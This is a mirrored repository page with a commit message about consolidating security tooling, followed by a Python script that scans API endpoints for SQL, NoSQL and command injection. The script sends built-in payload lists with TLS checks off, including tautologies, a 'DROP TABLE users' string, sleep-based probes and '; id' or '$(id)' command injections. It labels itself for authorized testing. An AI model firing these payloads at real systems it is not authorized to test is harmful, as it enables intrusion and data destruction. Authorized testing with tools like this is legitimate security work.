mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
143 lines
5.0 KiB
Python
143 lines
5.0 KiB
Python
#!/usr/bin/env python3
|
|
"""Agent for testing API injection vulnerabilities (SQL, NoSQL, command injection)."""
|
|
|
|
import argparse
|
|
import json
|
|
import urllib.parse
|
|
from datetime import datetime, timezone
|
|
|
|
try:
|
|
import requests
|
|
HAS_REQUESTS = True
|
|
except ImportError:
|
|
HAS_REQUESTS = False
|
|
|
|
|
|
SQL_PAYLOADS = [
|
|
"' OR '1'='1", "' OR 1=1--", "'; DROP TABLE users;--",
|
|
"' UNION SELECT NULL,NULL--", "1' AND SLEEP(5)--",
|
|
"admin'--", "' OR ''='",
|
|
]
|
|
|
|
NOSQL_PAYLOADS = [
|
|
'{"$gt":""}', '{"$ne":""}', '{"$regex":".*"}',
|
|
'{"$where":"sleep(5000)"}',
|
|
]
|
|
|
|
COMMAND_INJECTION_PAYLOADS = [
|
|
"; id", "| whoami", "$(id)", "`id`",
|
|
"; sleep 5", "| sleep 5",
|
|
]
|
|
|
|
ERROR_SIGNATURES = {
|
|
"sql": ["sql syntax", "mysql", "postgresql", "sqlite", "ora-", "mssql",
|
|
"unclosed quotation", "quoted string not properly terminated"],
|
|
"nosql": ["bson", "mongodb", "mongoerror", "json parse error"],
|
|
"command": ["sh:", "bash:", "/bin/", "command not found", "uid="],
|
|
}
|
|
|
|
|
|
def test_parameter(url, param_name, param_value, payloads, method="GET", headers=None):
|
|
"""Test a single parameter with injection payloads."""
|
|
if not HAS_REQUESTS:
|
|
return []
|
|
findings = []
|
|
baseline_url = f"{url}?{param_name}={urllib.parse.quote(param_value)}"
|
|
try:
|
|
baseline = requests.get(baseline_url, headers=headers, timeout=10, verify=False)
|
|
baseline_len = len(baseline.text)
|
|
baseline_time = baseline.elapsed.total_seconds()
|
|
except requests.RequestException:
|
|
return findings
|
|
|
|
for payload in payloads:
|
|
test_value = urllib.parse.quote(payload)
|
|
try:
|
|
if method == "GET":
|
|
test_url = f"{url}?{param_name}={test_value}"
|
|
resp = requests.get(test_url, headers=headers, timeout=15, verify=False)
|
|
else:
|
|
data = {param_name: payload}
|
|
resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
|
|
|
|
resp_text = resp.text.lower()
|
|
indicators = []
|
|
|
|
for category, sigs in ERROR_SIGNATURES.items():
|
|
for sig in sigs:
|
|
if sig in resp_text:
|
|
indicators.append(f"{category}_error: {sig}")
|
|
|
|
if abs(len(resp.text) - baseline_len) > baseline_len * 0.5 and baseline_len > 0:
|
|
indicators.append(f"Response size anomaly: {baseline_len} -> {len(resp.text)}")
|
|
|
|
if resp.elapsed.total_seconds() > baseline_time + 4:
|
|
indicators.append(f"Time-based: {resp.elapsed.total_seconds():.1f}s vs baseline {baseline_time:.1f}s")
|
|
|
|
if indicators:
|
|
findings.append({
|
|
"parameter": param_name,
|
|
"payload": payload,
|
|
"status_code": resp.status_code,
|
|
"indicators": indicators,
|
|
})
|
|
except requests.RequestException:
|
|
continue
|
|
return findings
|
|
|
|
|
|
def scan_api_endpoint(url, params, method="GET", headers=None):
|
|
"""Scan an API endpoint with all injection categories."""
|
|
all_findings = []
|
|
for param_name, param_value in params.items():
|
|
all_findings.extend(test_parameter(url, param_name, param_value, SQL_PAYLOADS, method, headers))
|
|
all_findings.extend(test_parameter(url, param_name, param_value, NOSQL_PAYLOADS, method, headers))
|
|
all_findings.extend(test_parameter(url, param_name, param_value, COMMAND_INJECTION_PAYLOADS, method, headers))
|
|
return all_findings
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="Test API endpoints for injection vulnerabilities (authorized testing only)"
|
|
)
|
|
parser.add_argument("--url", required=True, help="Target API endpoint URL")
|
|
parser.add_argument("--params", required=True, help="Parameters as key=value,key2=value2")
|
|
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
|
|
parser.add_argument("--header", nargs="*", help="Custom headers as Key:Value")
|
|
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
args = parser.parse_args()
|
|
|
|
print("[*] API Injection Testing Agent")
|
|
print("[!] For authorized security testing only")
|
|
|
|
params = dict(p.split("=", 1) for p in args.params.split(","))
|
|
headers = {}
|
|
if args.header:
|
|
for h in args.header:
|
|
k, _, v = h.partition(":")
|
|
headers[k.strip()] = v.strip()
|
|
|
|
findings = scan_api_endpoint(args.url, params, args.method, headers or None)
|
|
|
|
report = {
|
|
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
"target": args.url,
|
|
"parameters_tested": list(params.keys()),
|
|
"findings": findings,
|
|
"vulnerability_count": len(findings),
|
|
"risk_level": "CRITICAL" if findings else "LOW",
|
|
}
|
|
|
|
print(f"[*] Tested {len(params)} parameters, found {len(findings)} potential injections")
|
|
|
|
if args.output:
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
print(f"[*] Report saved to {args.output}")
|
|
else:
|
|
print(json.dumps(report, indent=2))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|